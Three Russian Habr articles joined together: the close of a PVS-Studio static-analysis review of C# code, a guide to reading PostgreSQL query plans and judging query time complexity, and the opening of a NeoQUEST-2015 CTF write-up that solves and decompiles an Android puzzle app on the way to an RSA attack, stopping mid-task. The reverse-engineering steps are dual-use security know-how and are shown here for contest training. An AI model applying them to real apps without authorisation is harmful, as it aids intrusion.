Как можно видеть, вместо indexed, с null сравнивается переменная color. Это неправильно и может привести к NRE.
[V3080](https://www.viva64.com/ru/w/v3080/) «Possible null dereference. Consider inspecting 'cstr\_index.tile\_index'»
Небольшой фрагмент для иллюстрации:
```
if (cstr_index.tile_index == null)
{
if (cstr_index.tile_index[0].tp_index == null)
{
// ..
}
}
```
Очевидно, что в первом условии подразумевалось != null. В текущем виде код при каждом вызове кинет NRE.
[V3083](https://www.viva64.com/ru/w/v3083/) «Unsafe invocation of event 'OnProgress', NullReferenceException is possible. Consider assigning event to a local variable before invoking it.»
```
public void Updated()
{
if (OnProgress != null)
OnProgress(this, new EventArgs());
}
```
Предупреждение помогло исправить потенциальное исключение. Почему оно может возникнуть? На Stackoverflow есть [хорошее объяснение](https://stackoverflow.com/q/3668953/249690).
[V3106](https://www.viva64.com/ru/w/v3106/) «Possibly index is out of bounds. The '0' index is pointing beyond 'v' bound»
```
var result = new List();
for (int i = 0; i < text.Length; ++i)
{
var v = new List();
createPairs(text[i].ToString(CultureInfo.InvariantCulture));
result.Add(v[0]);
}
```
Ошибка в том, что результат createPairs игнорируется, а вместо этого идет обращение к пустому списку. Видимо, изначально createPairs принимал список в качестве параметра, но в процессе изменений метода была внесена ошибка.
[V3117](https://www.viva64.com/ru/w/v3117/) «Constructor parameter 'validateType' is not used
Предупреждение было выдано для кода, похожего на такой
```
public SomeClass(IDocument document, bool validateType = true)
: base(document, true)
{
m_provider = document;
}
```
Само предупреждение не кажется важным. Но проблема серьезнее, чем кажется на первый взгляд. В процессе добавления optional параметра validateType вызов конструктора базового класса забыли исправить.
[V3127](https://www.viva64.com/ru/w/v3127/) „Two similar code fragments were found. Perhaps, this is a typo and 'range' variable should be used instead of 'domain'“
```
private void fillTransferFunction(PdfStreamImpl function)
{
// ..
PdfArrayImpl domain = new PdfArrayImpl();
domain.AddReal(0);
domain.AddReal(1);
function.Add(Field.Domain, domain);
PdfArrayImpl range = new PdfArrayImpl();
range.AddReal(0);
range.AddReal(1);
function.Add(Field.Range, domain);
// ....
}
```
Возможно, предупреждение не будет выдано, если части кода будут чуть сильнее отличаться. Но в данном случае ошибка при использовании copy-paste была обнаружена.
#### Теоретические/формальные предупреждения
Они либо корректны, но их исправление не исправляет каких-либо конкретных ошибок и не влияет на читабельность кода. Либо они указывают на места, где могла быть ошибка, но ее нет. Например, порядок параметров намеренно изменен. Для таких предупреждений не требуется что-либо менять в программе.
Таких было выдано 57 штук, что составляет около 30% от всех предупреждений. Я приведу примеры для случаев, заслуживающих внимания.
[V3013](https://www.viva64.com/ru/w/v3013/) „It is odd that the body of 'BeginText' function is fully equivalent to the body of 'EndText' function (166, line 171)“
```
public override void BeginText()
{
m_state.ResetTextParameters();
}
public override void EndText()
{
m_state.ResetTextParameters();
}
```
У обеих функций тела на самом деле одинаковые. Но это правильно. И так ли уж странно, если тела функций из одной строки совпадают?
[V3106](https://www.viva64.com/ru/w/v3106/) „Possible negative index value. The value of 'c1' index could reach -1“
```
freq[256] = 1;
// ....
c1 = -1;
v = 1000000000L;
for (i = 0; i <= 256; i++)
{
if (freq[i] != 0 && freq[i] <= v)
{
v = freq[i];
c1 = i;
}
}
// ....
freq[c1] += freq[c2];
```
Согласен, кусочек не самого понятного алгоритма я привел. Но, по-моему, в данном случае анализатор зря переживает.
[V3107](https://www.viva64.com/ru/w/v3107/) „Identical expression 'neighsum' to the left and to the right of compound assignment“
Предупреждение вызвано вполне банальным кодом:
```
neighsum += neighsum;
```
Да, его можно переписать через умножение. Но ошибки тут нет.
[V3109](https://www.viva64.com/ru/w/v3109/) „The 'l\_cblk.data\_current\_size' sub-expression is present on both sides of the operator. The expression is incorrect or it can be simplified.“
```
/* Check possible overflow on size */
if ((l_cblk.data_current_size + l_seg.newlen) < l_cblk.data_current_size)
{
// ...
}
```
Комментарий в коде поясняет замысел. Снова ложная тревога.
#### Обоснованные предупреждения
Их исправление положительно повлияло на читабельность кода. То есть сократило ненужные условия, проверки и т.п. Влияние на то, как код работает — неочевидно.
Таких было выдано 103 штуки, что составляет около 54% от всех предупреждений.
[V3008](https://www.viva64.com/ru/w/v3008/) „The 'l\_mct\_deco\_data' variable is assigned values twice successively. Perhaps this is a mistake“
```
if (m_nb_mct_records == m_nb_max_mct_records)
{
ResizeMctRecords();
l_mct_deco_data = (OPJ_INT32)m_nb_mct_records;
}
l_mct_deco_data = (OPJ_INT32)m_nb_mct_records;
```
Анализатор прав: присваивание внутри if не нужно.
[V3009](https://www.viva64.com/ru/w/v3009/) „It is odd that this method always returns one and the same value“
```
private static bool opj_dwt_decode_tile(opj_tcd_tilecomp_t tilec, OPJ_UINT32 numres)
{
if (numres == 1U)
return true;
// ...
return true;
}
```
По совету анализатора метод был изменен и больше ничего не возвращает.
[V3022](https://www.viva64.com/ru/w/v3022/) „Expression '!add' is always true“
```
private void addToFields(PdfDictionaryImpl controlDict, bool add)
{
// ...
if (add)
{
// ..
return;
}
if (!add)
{
// ...
}
// ...
}
```
Действительно, нет смысла во втором if. Условие всегда будет истинным.
[V3029](https://www.viva64.com/ru/w/v3029/) „The conditional expression of the 'if' statements situated alongside each other are identical“
```
if (stroke)
extGState.OpacityStroke = opacity;
if (stroke)
state.AddReal(Field.CA, opacity);
```
Неясно, как такой код возник. Но теперь мы его исправили.
[V3031](https://www.viva64.com/ru/w/v3031/) „An excessive check can be simplified. The '||' operator is surrounded by opposite expressions“
Вот это кошмарное условие:
```
if (!(cp.m_enc.m_tp_on != 0 &&
((!opj_codec_t.OPJ_IS_CINEMA(cp.rsiz) && (t2_mode == J2K_T2_MODE.FINAL_PASS)) || opj_codec_t.OPJ_IS_CINEMA(cp.rsiz))))
{
// ...
}
```
После изменений стало гораздо лучше
```
if (!(cp.m_enc.m_tp_on != 0 &&
(opj_codec_t.OPJ_IS_CINEMA(cp.rsiz) || t2_mode == J2K_T2_MODE.FINAL_PASS)))
{
// ...
}
```
[V3063](https://www.viva64.com/ru/w/v3063/) „A part of conditional expression is always true if it is evaluated: x != null“
[V3022](https://www.viva64.com/ru/w/v3022/) „Expression 'x != null' is always true“
Сюда я отнес предупреждения о том, что проверка на null не имеет смысла. Правильно ли так поступать — вопрос неоднозначный. Ниже я подробнее описал суть вопроса.
#### Необоснованные предупреждения
False positives. Из-за ошибок в реализации конкретной проверки или каком-то недостатке анализатора.
Таких было выдано 14 штук, что составляет около 7% от всех предупреждений.
[V3081](https://www.viva64.com/ru/w/v3081/) „The 'i' counter is not used inside a nested loop. Consider inspecting usage of 'j' counter“
Немного упрощенный вариант кода, для которого было выдано это предупреждение:
```
for (uint i = 0; i < initialGlyphsCount - 1; ++i)
{
for (int j = 0; j < initialGlyphsCount - i - 1; ++j)
{
// ...
}
}
```
Очевидно, что i используется во вложенном цикле.
[V3125](https://www.viva64.com/ru/w/v3125/) „The object was used after it was verified against null“
Код, для которого выдается такое предупреждение:
```
private static int Compare_SecondGreater(cmapEncodingRecord er1, cmapEncodingRecord er2)
{
if (er1 == er2)
return 0;
if (er1 != null && er2 == null)
return 1;
if (er1 == null && er2 != null)
return -1;
return er1.CompareTo(er2);
}
```
er1 не может быть равен null в момент вызова CompareTo().
Другой код, для которого выдается такое предупреждение:
```
private static void realloc(ref int[][] table, int newSize)
{
int[][] newTable = new int[newSize][];
int existingSize = 0;
if (table != null)
existingSize = table.Length;
for (int i = 0; i < existingSize; i++)
newTable[i] = table[i];
for (int i = existingSize; i < newSize; i++)
newTable[i] = new int[4];
table = newTable;
}
```
table не может быть равно null в цикле.
[V3134](https://www.viva64.com/ru/w/v3134/) „Shift by [32..255] bits is greater than the size of 'UInt32' type of expression '(uint)1'“
Кусочек кода, для которого выдается такое предупреждение:
```
byte bitPos = (byte)(numBits & 0x1F);
uint mask = (uint)1 << bitPos;
```
Видно, что bitPos может иметь значение из диапазона [0..31], но анализатор считает, что она может иметь значение из диапазона [0..255], что неверно.
Другие подобные случаи приводить не буду, так как они эквивалентны.
#### Дополнительные мысли по поводу некоторых проверок
Мне показалось нежелательным предупреждать, что 'x != null' is always true в случаях, когда x — это результат вызова некоторого метода. Пример:
```
private X GetX(int y)
{
if (y > 0)
return new X(...);
if (y == 0)
return new X(...);
throw new ArgumentOutOfRangeException(nameof(x));
}
private Method()
{
// ...
X x = GetX(..);
if (x != null)
{
// ...
}
}
```
Да, формально анализатор прав: x всегда будет не равно null, потому что GetX либо вернет полноценный instance, либо кинет исключение. Но улучшит ли код удаление проверки на null? Что если GetX изменится позже? Обязан ли Method знать реализацию GetX?
Внутри команды мнения разделились. Высказывалось мнение, что у текущего метода есть контракт, по которому он не должен возвращать null. И нет смысла писать избыточный код „на будущее“ при каждом вызове. А если контракт меняется — надо обновлять и вызывающий код.
В поддержку такого мнения приводилось такое суждение: проверять на null — это как оборачивать каждый вызов в try/catch на случай если метод в будущем начнет бросать исключения.
В итоге, согласно принципу [YAGNI](https://ru.wikipedia.org/wiki/YAGNI), решили не держаться за проверки и удалили их. Все предупреждения были перенесены из теоретических/формальных в обоснованные.
Буду рад прочитать ваше мнение в комментариях.
### Выводы
Статический анализ — полезная штука. PVS-Studio позволяет найти реальные ошибки.
Да, есть и необоснованные / некорректные предупреждения. Но все-таки PVS-Studio нашел реальные ошибки в проекте, где уже используется Code Analysis. Наш продукт достаточно хорошо покрыт тестами, его так или иначе тестируют наши клиенты, но ~~robots do it better~~ статический анализ все-таки приносит пользу.
Напоследок немного статистики.
#### Топ-3 необоснованных предупреждений
[V3081](https://www.viva64.com/ru/w/v3081/) „The 'X' counter is not used inside a nested loop. Consider inspecting usage of 'Y' counter“
1 из 1 признано необоснованным
[V3125](https://www.viva64.com/ru/w/v3125) „The object was used after it was verified against null. Check lines: N1, N2“
9 из 10 признаны необоснованными
[V3134](https://www.viva64.com/ru/w/v3134/) „Shift by N bits is greater than the size of type“
4 из 5 признаны необоснованными
#### Топ-3 важных предупреждений
[V3083](https://www.viva64.com/ru/w/v3083/) „Unsafe invocation of event, NullReferenceException is possible. Consider assigning event to a local variable before invoking it“
5 из 5 признаны важными
[V3020](https://www.viva64.com/ru/w/v3020/) „An unconditional 'break/continue/return/goto' within a loop“
[V3080](https://www.viva64.com/ru/w/v3080/) „Possible null dereference“
2 из 2 признаны важными
[V3019](https://www.viva64.com/ru/w/v3019/) „It is possible that an incorrect variable is compared with null after type conversion using 'as' keyword“
[V3127](https://www.viva64.com/ru/w/v3127/) „Two similar code fragments were found. Perhaps, this is a typo and 'X' variable should be used instead of 'Y'“
1 из 1 признано важным | https://habr.com/ru/post/425741/ | null | ru | null |
# Руководство по SQL: Как лучше писать запросы (Часть 2)
Продолжение статьи [Руководство по SQL: Как лучше писать запросы (Часть 1)](https://habr.com/ru/post/465547/)
От запроса к планам выполнения
------------------------------
 Зная, что антипаттерны не статичны и эволюционируют по мере того, как вы растете как разработчик SQL, и тот факт, что есть много, что нужно учитывать, когда вы задумываетесь об альтернативах, также означает, что избежать антипаттернов и переписывания запросов может быть довольно сложной задачей. Любая помощь может пригодиться, и именно поэтому более структурированный подход к оптимизации запроса с помощью некоторых инструментов может быть наиболее эффективным.
Следует также отметить, что некоторые из антипаттернов, упомянутых в последнем разделе, коренятся в проблемах производительности, таких, как операторы `AND`, `OR` и `NOT` и их отсутствие при использовании индексов. Размышление о производительности требует не только более структурированного, но и более глубокого подхода.
Однако этот структурированный и углубленный подход будет в основном основан на плане запроса, который, как вы помните, является результатом запроса, впервые проанализированного в «дерево синтаксического анализа» или «дерево разбора» («parse tree»), и точно определяет, какой алгоритм используется для каждой операции и как координируется их выполнение.
Оптимизация запросов
--------------------
Как вы прочитали во введении, может потребоваться проверить и настроить планы, которые составляются оптимизатором вручную. В таких случаях вам нужно будет снова проанализировать ваш запрос, посмотрев на план запроса.
Чтобы получить доступ к этому плану, необходимо использовать инструменты, предоставляемые системой управления базами данных. В вашем распоряжении могут быть следующие инструменты:
* Некоторые пакеты содержат инструменты, которые генерируют графическое представление плана запроса. Рассмотрим следующий пример:
* Другие инструменты позволят предоставить текстовое описание плана запроса. Одним из примеров является инструкция `EXPLAIN PLAN` в Oracle, но имя инструкции зависит от СУБД, с которой вы работаете. В другом месте можно найти `EXPLAIN` (MySQL, PostgreSQL) или `EXPLAIN QUERY PLAN` (SQLite).
**Обратите внимание** на то, что при работе с PostgreSQL можно сделать различие между `EXPLAIN`, где вы просто получаете описание, в котором говорится о том, как плановик намеревается выполнить запрос без его выполнения, в то время как `EXPLAIN ANALYZE` фактически выполняет запрос и возвращает вам анализ ожидаемых и фактических планов запроса. Вообще говоря, реальный план выполнения — это план, в котором фактически выполняется запрос, в то время как оценочный план выполнения определяет, что он будет делать без выполнения запроса. Хотя это логически эквивалентно, фактический план выполнения намного полезнее, поскольку он содержит дополнительные сведения и статистику о том, что действительно произошло при выполнении запроса.
В остальной части этого раздела вы узнаете больше о `EXPLAIN` и `ANALYZE`, а также о том, как использовать их для получения дополнительной информации о плане запроса и его возможной производительности. Для этого начните с нескольких примеров, в которых вы будете работать с двумя таблицами: `one_million` и `half_million`.
Вы можете получить текущую информацию из таблицы `one_million` с помощью `EXPLAIN`; Обязательно поместите его прямо над запросом, и после его выполнения он вернет вам план запроса:
```
EXPLAIN
SELECT *
FROM one_million;
QUERY PLAN
____________________________________________________
Seq Scan on one_million
(cost=0.00..18584.82 rows=1025082 width=36)
(1 row)
```
В этом случае вы видите, что стоимость запроса равна `0.00..18584.82`, а количество строк равно `1025082`. Ширина числа столбцов равна `36`.
Кроме того, вы можете обновить статистическую информацию с помощью `ANALYZE`.
```
ANALYZE one_million;
EXPLAIN
SELECT *
FROM one_million;
QUERY PLAN
____________________________________________________
Seq Scan on one_million
(cost=0.00..18334.00 rows=1000000 width=37)
(1 row)
```
Помимо `EXPLAIN` и `ANALYZE`, вы также можете получить фактическое время выполнения с помощью `EXPLAIN ANALYZE`:
```
EXPLAIN ANALYZE
SELECT *
FROM one_million;
QUERY PLAN
___________________________________________________________
Seq Scan on one_million
(cost=0.00..18334.00 rows=1000000 width=37)
(actual time=0.015..1207.019 rows=1000000 loops=1)
Total runtime: 2320.146 ms
(2 rows)
```
Недостатком использования `EXPLAIN ANALYZE` является то, что запрос выполняется фактически, поэтому будьте осторожны с этим!
До сих пор все алгоритмы, которые вы видели, — это `Seq Scan` (Sequential Scan) или Full Table Scan: это сканирование, выполненное в базе данных, где каждая строка сканируемой таблицы читается в последовательном (serial) порядке, и найденные столбцы проверяются на предмет соответствия условию или нет. Что касается производительности, последовательное сканирование, безусловно, не лучший план выполнения, потому что вы все еще выполняете полное сканирование таблицы (full table scan). Тем не менее, это не так уж плохо, когда таблица не помещается в память: последовательное чтение выполняется довольно быстро даже на медленных дисках.
Об этом вы узнаете позже, когда будем говорить о сканировании индекса (index scan).
Однако есть и другие алгоритмы. Возьмем, например, этот план запроса для соединения:
```
EXPLAIN ANALYZE
SELECT *
FROM one_million JOIN half_million
ON (one_million.counter=half_million.counter);
QUERY PLAN
_________________________________________________________________
Hash Join (cost=15417.00..68831.00 rows=500000 width=42)
(actual time=1241.471..5912.553 rows=500000 loops=1)
Hash Cond: (one_million.counter = half_million.counter)
-> Seq Scan on one_million
(cost=0.00..18334.00 rows=1000000 width=37)
(actual time=0.007..1254.027 rows=1000000 loops=1)
-> Hash (cost=7213.00..7213.00 rows=500000 width=5)
(actual time=1241.251..1241.251 rows=500000 loops=1)
Buckets: 4096 Batches: 16 Memory Usage: 770kB
-> Seq Scan on half_million
(cost=0.00..7213.00 rows=500000 width=5)
(actual time=0.008..601.128 rows=500000 loops=1)
Total runtime: 6468.337 ms
```
Вы видите, что оптимизатор запросов выбрал здесь `Hash Join`! Запомните эту операцию, так как она понадобится вам для оценки временной сложности вашего запроса. Пока что обратите внимание, что в `half_million.counter` нет индекса, который добавим в следующем примере:
```
CREATE INDEX ON half_million(counter);
EXPLAIN ANALYZE
SELECT *
FROM one_million JOIN half_million
ON (one_million.counter=half_million.counter);
QUERY PLAN
________________________________________________________________
Merge Join (cost=4.12..37650.65 rows=500000 width=42)
(actual time=0.033..3272.940 rows=500000 loops=1)
Merge Cond: (one_million.counter = half_million.counter)
-> Index Scan using one_million_counter_idx on one_million
(cost=0.00..32129.34 rows=1000000 width=37)
(actual time=0.011..694.466 rows=500001 loops=1)
-> Index Scan using half_million_counter_idx on half_million
(cost=0.00..14120.29 rows=500000 width=5)
(actual time=0.010..683.674 rows=500000 loops=1)
Total runtime: 3833.310 ms
(5 rows)
```
Вы видите, что, создав индекс, оптимизатор запросов теперь решил использовать объединение слиянием `Merge join`, когда происходит сканирование индекса `Index Scan`.
**Обратите внимание** на различие между сканированием индекса и полным сканированием таблицы или последовательным сканированием: первое, которое также называется «сканированием таблицы», сканирует данные или страницы индекса, чтобы найти соответствующие записи, в то время как второе сканирует каждую строку таблицы.
Вы видите, что общее время выполнения уменьшилось и производительность должна быть лучше, но есть два сканирования индекса, что делает память здесь более важной, особенно если таблица не помещается в неё. В таких случаях сначала необходимо выполнить полное сканирование индекса, которое выполняется с помощью быстрого последовательного чтения и не представляет проблем, но затем у вас есть много случайных операций чтения для выборки строк по значению индекса. Это те случайные операции чтения, которые обычно на несколько порядков медленнее, чем последовательные. В этих случаях полное сканирование таблицы действительно происходит быстрее, чем полное сканирование индекса.
**Совет:** если вы хотите узнать больше о EXPLAIN или рассмотреть примеры более подробно, подумайте о прочтении книги Гийома Леларжа [«Understanding Explain»](https://www.datacamp.com/community/tutorials/sql-tutorial-query).
Time Complexity и Big O
-----------------------
Теперь, когда вы кратко рассмотрели план запроса, вы можете начать копать глубже и подумать о производительности в более формальных терминах с помощью теории сложности вычислений. Эта область теоретической информатики, которая, помимо прочего, фокусируется на классификации вычислительных задач в зависимости от их сложности; Эти вычислительные проблемы могут быть алгоритмами, но также и запросами.
Однако для запросов они не обязательно классифицируются в зависимости от их сложности, а скорее в зависимости от времени, необходимого для их выполнения и получения результатов. Это называется временной сложностью (time complexity), и чтобы сформулировать или измерить этот тип сложности, вы можете использовать обозначение big O.
С обозначением big O вы выражаете время выполнения с точки зрения того, насколько быстро оно растет относительно ввода, так как ввод становится произвольно большим. Большая нотация O исключает коэффициенты и члены более низкого порядка, поэтому вы можете сосредоточиться на важной части времени выполнения вашего запроса: скорости его роста. При выражении таким образом, отбрасывая коэффициенты и члены более низкого порядка, говорят, что временная сложность описывается асимптотически. Это означает, что размер ввода уходит в бесконечность.
На языке баз данных сложность определяет, сколько времени требуется для выполнения запроса по мере увеличения размера таблиц данных и, следовательно, базы данных.
**Обратите внимание**, что размер вашей базы данных увеличивается не только от увеличения объема данных в таблицах, но и факт наличия индексов также играет роль в размере.
Оценка сложности времени вашего плана запроса
Как вы видели ранее, план выполнения, среди прочего, определяет, какой алгоритм используется для каждой операции, что позволяет логически выражать каждое время выполнения запроса как функцию от размера таблицы, включенной в план запроса, который называют функцией сложности. Другими словами, вы можете использовать обозначение big O и план выполнения для оценки сложности запроса и производительности.
В следующих подразделах вы получите общее представление о четырех типах временных сложностей, и вы увидите некоторые примеры того, как сложность времени запросов может изменяться в зависимости от контекста, в котором она выполняется.
Подсказка: индексы — часть этой истории!
**Однако следует отметить**, что существуют различные типы индексов, различные планы выполнения и различные реализации для различных баз данных, поэтому перечисленные ниже временные сложности являются весьма общими и могут изменяться в зависимости от конкретных настроек.
### O(1): Constant Time
Говорят, что алгоритм работает в постоянном времени (in constant time), если ему требуется одинаковое количество времени независимо от размера входных данных. Когда речь идет о запросе, он будет выполняться в постоянное время (in constant time), если требуется одинаковое количество времени независимо от размера таблицы.
Этот тип запросов на самом деле не распространен, но вот один из таких примеров:
```
SELECT TOP 1 t.*
FROM t
```
Сложность по времени постоянна, так как из таблицы выбирается одна произвольная строка. Следовательно, продолжительность времени не должна зависеть от размера таблицы.
### Linear Time: O(n)
Говорят, что алгоритм работает в линейном времени, если время его выполнения прямо пропорционально размеру входных данных, то есть время линейно растет по мере увеличения размера входных данных. Для баз данных это означает, что время выполнения будет прямо пропорционально размеру таблицы: по мере роста числа строк в таблице растет время выполнения запроса.
Примером может служить запрос с условием `WHERE` для неиндексированного столбца: потребуется полное сканирование таблицы или `Seq Scan`, что приведет к временной сложности O(n). Это означает, что каждая строка должна быть прочитана, чтобы найти строку с нужным идентификатором (ID). У вас вообще нет ограничений, поэтому нужно считать каждую строку, даже если первая строка соответствует условию.
Рассмотрим также следующий пример запроса, который будет иметь сложность O (n), если на поле `i_id` нет индекса:
```
SELECT i_id
FROM item;
```
* Предыдущее также означает, что другие запросы, такие как запросы на вычисление количества строк `COUNT (*) FROM TABLE;` будут иметь временную сложность *O(n)*, так как потребуется полное сканирование таблицы, потому что общее количество строк не сохранено для таблицы. Иначе временная сложность была бы похожа на *O(1)*.
С линейным временем выполнения тесно связано время выполнения планов, имеющих соединения таблиц. Вот несколько примеров:
* Соединение хэшей (hash join) имеет ожидаемую сложность O(M+N).Классический алгоритм хеш-соединения для внутреннего объединения двух таблиц сначала подготавливает хеш-таблицу меньшей таблицы. Записи хеш-таблицы состоят из атрибута соединения и его строки. Доступ к хеш-таблице осуществляется путем применения хеш-функции к атрибуту соединения. Как только хеш-таблица построена, сканируется большая таблица, и соответствующие строки из меньшей таблицы находятся путем поиска в хеш-таблице.
* Соединение слиянием (merge joins) обычно имеют сложность O(M+N), но оно будет сильно зависеть от индексов столбцов соединения и, в случае отсутствия индекса, от того, отсортированы ли строки в соответствии с ключами, используемыми в соединении:
+ Если обе таблицы отсортированы в соответствии с ключами, используемыми в соединении, то запрос будет иметь временную сложность O(M+N).
+ Если у обеих таблиц есть индекс для соединенных столбцов, то индекс уже поддерживает эти столбцы упорядочными и сортировка не требуется. Сложность будет O(M+N).
+ Если ни одна из таблиц не имеет индекса по соедиенным столбцам, сначала необходимо выполнить сортировку обеих таблиц, так что сложность будет выглядеть как O(M log M + N log N).
+ Если только одна из таблиц имеет индекс на соедиенных столбцах, то только та таблица, которая не имеет индекса, должна быть отсортирована, прежде чем произойдет этап соединения, так что сложность будет выглядеть как O(M + N log N).
* Для вложенных соединений (nested joins) сложность обычно составляет O(MN). Это соединение эффективно, когда одна или обе таблицы чрезвычайно малы (например, меньше 10 записей), что является очень распространенной ситуацией при оценке запросов, поскольку некоторые подзапросы записываются для возврата только одной строки.
**Помните:** вложенное соединение (nested join) — это соединение, которое сравнивает каждую запись в одной таблице с каждой записью в другой.
### Logarithmic Time: O(log (n))
Говорят, что алгоритм работает в логарифмическом времени, если его время выполнения пропорционально логарифму входного размера; Для запросов это означает, что они будут выполняться, если время выполнения пропорционально логарифму размера базы данных.
Эта логарифмическая сложность времени справедлива для планов запросов, где выполняется сканирование индекса `Index Scan` или сканирование кластеризованного индекса. Кластеризованный индекс — это индекс, где конечный уровень индекса содержит фактические строки таблицы. Кластеризованный индекс аналогичен любому другому индексу: он определен в одном или нескольких столбцах. Они образуют ключ индекса. Ключ кластеризации — это ключевые столбцы кластеризованного индекса. Сканирование кластеризованного индекса — это, в основном, операция чтения вашей СУБД для строки или строк сверху вниз в кластеризованном индексе.
Рассмотрим следующий пример запроса, где есть индекс для `i_id` и который обычно приводит к сложности O(log(n)):
```
SELECT i_stock
FROM item
WHERE i_id = N;
```
Обратите внимание, что без индекса сложность времени была бы O(n).
### Quadratic Time: O(n^2)
Считается, что алгоритм выполняется за квадратичное время, если время его выполнения пропорционально квадрату входного размера. Опять же, для баз данных это означает, что время выполнения запроса пропорционально квадрату размера базы данных.
Возможным примером запроса с квадратичной временной сложностью является следующий:
```
SELECT *
FROM item, author
WHERE item.i_a_id=author.a_id
```
Минимальная сложность может быть O(n log(n)), но максимальная сложность может быть O(n^2), основанная на информации индекса атрибутов соединения.
Подводя итоги, вы также можете взглянуть [на следующую шпаргалку](http://bigocheatsheet.com/), чтобы оценить производительность запросов в зависимости от их временной сложности и их эффективности:
SQL Tuning
----------
Учитывая план выполнения запроса и сложность времени, вы можете дополнительно настроить свой запрос SQL. Вы можете начать с уделения особого внимания следующим моментам:
* Замените ненужное полное сканирование больших таблиц (full table scans) сканированием индексов (index scans);
* Убедитесь, что применяется оптимальный порядок соединения таблиц.
* Убедитесь, что индексы используются оптимально. И
* Используется кэширование полнотекстовых сканирований малых таблиц (cache small-table full table scans.).
Дальнейшее использование SQL
----------------------------
Поздравляю! Вы дошли до конца этой статьи, которая только что дала вам небольшой взгляд на производительность SQL-запросов. Я надеюсь, что вы получили больше информации об антипаттернах, оптимизаторе запросов и инструментах, которые вы можете использовать для анализа, оценки и интерпретации сложности вашего плана запросов. Однако вам еще столько всего предстоит открыть! Если вы хотите узнать больше, почитайте книгу “Database Management Systems“ авторства R. Ramakrishnan и J. Gehrke.
Наконец, я не хочу отказывать вам в этой цитате от пользователя StackOverflow:
> Мой любимый антипаттерн не проверяет ваши запросы.
>
>
>
> Однако он применим, когда:
>
>
>
> * Ваш запрос предусматривает более одной таблицы.
> * Вы считаете, что у вас оптимальный дизайн для запроса, но не пытайтесь проверить свои предположения.
> * Вы принимаете первый работающий запрос, не зная, насколько он близок к оптимальному.
> | https://habr.com/ru/post/465975/ | null | ru | null |
# NeoQUEST-2015: HeartBleed, Android и немного реверса
 Привет, Хабр! Близится лето, а вместе с ним — «очная ставка» NeoQUEST-2015. [Регистрация](http://neoquest.ru/timeline.php?year=2015) на мероприятие уже открыта, и вход — бесплатный. Гостей ждут доклады и мастерклассы по кибербезопасности, конкурсы, подарки и многое другое! Все это — уже в июле, а мы продолжаем разбор заданий online-этапа NeoQUEST-2015. В этой статье:
* **«Mystic Square»** — «пятнашки» на Android и атака на криптосистему RSA
* **«Масон-connect»** — анализ дампа сетевого трафика с последующей реализацией уязвимости HeartBleed
* **«raSSLedovanie»** — Man-in-the-Middle атака на Android
* **«Дружба и братство»** — реверс приложения на C#
##### **1. «Mystic Square» — «пятнашки» на Android**
###### **Собираем «пятнашки»**
Итак, изначально мы имеем файл game.apk, понятно, что это ни что иное, как приложение для Android.
Сначала стоит его запустить – и мы видим, что это простая детская игра «пятнашки». Неужели нужно собрать картинку, чтобы пройти задание на ctf? Именно так! Собрать картинку можно либо в самом приложении, либо вытащив картинки из ресурсов приложения (директории res/drawable) и сложив паpзл в графическом редакторе. Собрали картинку и получили какую-то строку «10838670582455823456841»:
###### **Реверс Android-приложения**
Что делать дальше? Первая мысль — отреверсить Android-приложение. Вытаскиваем из приложения файл classes.dex, это байт-код программы, используемой в Android. Затем при помощи утилиты dex2jar получаем файл classes.dex.dex2jar.jar, который удобно смотреть при помощи программы jd-gui.
Входная точка – класс MyActivity:
```
public boolean onKeyDown(int paramInt, KeyEvent paramKeyEvent)
{
switch (paramInt)
{
default:
return super.onKeyDown(paramInt, paramKeyEvent);
case 82:
}
startActivity(new Intent(this, InputOne.class));
return true;
}
```
Видно, что при нажатии на кнопку идет вызов InputOne. Посмотрим, что за класс InputOne:
```
public class InputOne extends Activity
{
protected void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
setContentView(2130903041);
EditText localEditText = (EditText)findViewById(2131034112);
((Button)findViewById(2131034113)).setOnClickListener(new View.OnClickListener(localEditText)
{
public void onClick(View paramView)
{
String str1 = this.val$editText.getText().toString();
if (new File("/sdcard/key.txt").exists())
{
String str2 = Simple.Decrypt(str1);
Toast.makeText(InputOne.this.getBaseContext(), str2, 1).show();
return;
}
try
{
Simple.get(str1);
return;
}
catch (IOException localIOException)
{
localIOException.printStackTrace();
}
}
});
}
}
```
В данном классе берется строка, введенная в поле ввода, проверяется наличие файла «/sdcard/key.txt». Если он есть, вызывается метод Decrypt класса Simple, если его нет, вызывается метод get того же класса. В каждый из этих методов передается введенная в поле ввода строка.
Файла такого у нас нет – смотрим метод get.
```
public static void get(String paramString)
throws IOException
{
QueryString localQueryString = new QueryString().add("message", paramString);
if (localQueryString == null)
Log.e("Info", "NULL");
for (URLConnection localURLConnection = new URL("http://79.175.2.83/0b32bd28a8632f9895f9d5d8a6c51dad/game.php").openConnection(); ; localURLConnection = new URL("http://79.175.2.83/0b32bd28a8632f9895f9d5d8a6c51dad/game.php?" + localQueryString).openConnection())
{
localURLConnection.getInputStream();
String str = readStreamToString(localURLConnection.getInputStream(), "UTF-8");
Log.e("Info", str);
if (!str.equals("Error"))
{
FileWriter localFileWriter = new FileWriter(new File("/sdcard/key.txt"));
localFileWriter.write(str);
localFileWriter.close();
}
return;
}
}
```
Данный метод формирует GET-запрос вида «http://79.175.2.83/0b32bd28a8632f9895f9d5d8a6c51dad/game.php?message=’введенная строка’», а результат, если это не «Error», сохраняет в файл «/sdcard/key.txt».
Теперь необходимо ввести полученный из игры код в приложение, и оно скачает файл key.txt на карту памяти устройства. Файл имеет следующий вид:
5890287499022904927250918089905639153507
3148792732424313619076650032785631134
key=a0bf0f01485a59addf4f9374e7c2a7b5
###### **«Внимание — криптография!»**
Первый ключ добыт, теперь задание на внимательность и немного криптографии. У нас остался неизведанным метод Decrypt класса Simple, вызов его происходит, если заполнить ту самую строку ввода при наличии файла «/sdcard/key.txt». Но для начала разберемся, что там происходит.
```
public static String Decrypt(String paramString)
{
ArrayList localArrayList = new ArrayList();
try
{
Scanner localScanner = new Scanner(new File("/sdcard/key.txt"));
while (localScanner.hasNextLine())
localArrayList.add(localScanner.nextLine());
}
catch (FileNotFoundException localFileNotFoundException)
{
return "0";
}
BigInteger localBigInteger = new BigInteger((String)localArrayList.get(0));
if (new BigInteger((String)localArrayList.get(1)).modPow(e, n).equals(localBigInteger))
{
new File("/sdcard/key.txt").delete();
return localBigInteger.modPow(new BigInteger(paramString), n).toString(16);
}
return "0";
}
```
